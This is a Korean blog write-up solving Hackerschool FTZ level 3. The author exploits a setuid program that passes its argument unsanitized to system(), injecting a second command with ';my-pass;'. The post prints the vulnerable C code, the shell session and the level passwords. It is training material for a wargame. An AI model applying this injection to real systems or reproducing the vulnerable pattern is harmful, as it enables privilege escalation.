[FTZ] level 3 → level 4 문제풀이 본문

Pwnable/해커스쿨 FTZ write-up

[FTZ] level 3 → level 4 문제풀이

disso1p1 2020. 1. 31. 12:46

 

 

 

level3 - id : level3 , pw : can you fly?

 

 

[level3@ftz level3]$ ls
hint  public_html  tmp
[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );      
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
    
    system( cmd );						
    
}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?


[level3@ftz level3]$

 

코드에다 주석으로 설명을 달면 다음 줄로 넘어가서 아래에 설명한다 ..

 

 

if( argc!=2 ){ : 총 인자수(argc)가 2가 아니면

exit(0); : 위 출력 후 종료

 

strcpy( cmd, "dig @" ); : "dig @"를 char형 배열 cmd 에 복사

strcat( cmd, argv[1] ); : 2번째 인자의 값을 char형 배열 cmd 에 이어붙임

strcat( cmd, " version.bind chaos txt"); : " version.bind chaos txt"를 char형 배열 cmd 에 이어붙임

system( cmd ); : cmd에 있는 문자열 값을 명령어로 실행

 

 

간단히 정리해서 말하면

dig @ + argv[1] +  version.bind chaos txt

이런 식으로 cmd 배열에 문자열을 넣는다.

그리고 cmd 배열에 있는 문자열 값을 명령어로 실행시키는 프로그램이다.

 

 

system() 함수에 대해 알아보자.

 

system()  : int system(const char * string);

( stdlib.h 헤더파일 필요 )

 

system() 함수는 문자열(string) 로 값을 보내야하기 때문에,

두번째 인자값에 "뭐시기뭐시기" 이런 식으로 쌍따옴표로 묶어 넣어야한다.

 

 

이제 이 autodig 파일을 찾아보자.

 

[level3@ftz level3]$ find / -name autodig 2>/dev/null
/bin/autodig
[level3@ftz level3]$ ls -al /bin/autodig
-rwsr-x---    1 level4   level3      12194  9월 10  2011 /bin/autodig
[level3@ftz level3]$

 

level4로 setuid가 걸려있는 /bin/autodig 라는 파일을 찾았다.

 

 

이 파일의 두번째 인자값에 "my-pass"를 줘보자.

 

[level3@ftz level3]$ /bin/autodig "my-pass"
dig: Couldn't find server 'my-pass': Name or service not known
[level3@ftz level3]$

 

오류가 뜬다.

 

more hints를 보면,

- 동시에 여러 명령어를 사용하려면?

이라 되어있는데, 이 의미는 ;(세미콜론) 을 사용하라는 뜻이다.

;(세미콜론) 은 명령어 하나가 끝나면 끝났다는 표시를 하는 기호라 할 수 있다.

 

그러므로 ;my-pass; 이런 식으로 인자값으로 넣어주면,

dig @;my-pass; version.bind chaos txt

이렇게 들어가기 때문에 앞 뒤 문장은 오류가 나더라도 my-pass;는 제대로 실행된다.

 

- 문자열 형태로 명령어를 전달하려면?

의 의미는 쌍따옴표를 사용하라는 뜻인 것 같다.

 

 

;my-pass;를 두번째 인자값으로 줘보자.

 

[level3@ftz level3]$ /bin/autodig ";my-pass;"
dig: Couldn't find server '': Name or service not known

Level4 Password is "suck my brain".

sh: line 1: version.bind: command not found
[level3@ftz level3]$

 

예상대로 dig : Couldn't ~~ 라 출력되면서 dig @; 에 대한 오류 메시지가 나오고,

my-pass; 를 수행하고,

version ~~ 에 대한 오류 메시지가 나왔다.

 

 

 

Level4 Password is "suck my brain".

 

 

 

 

 

 

감사합니다

Comments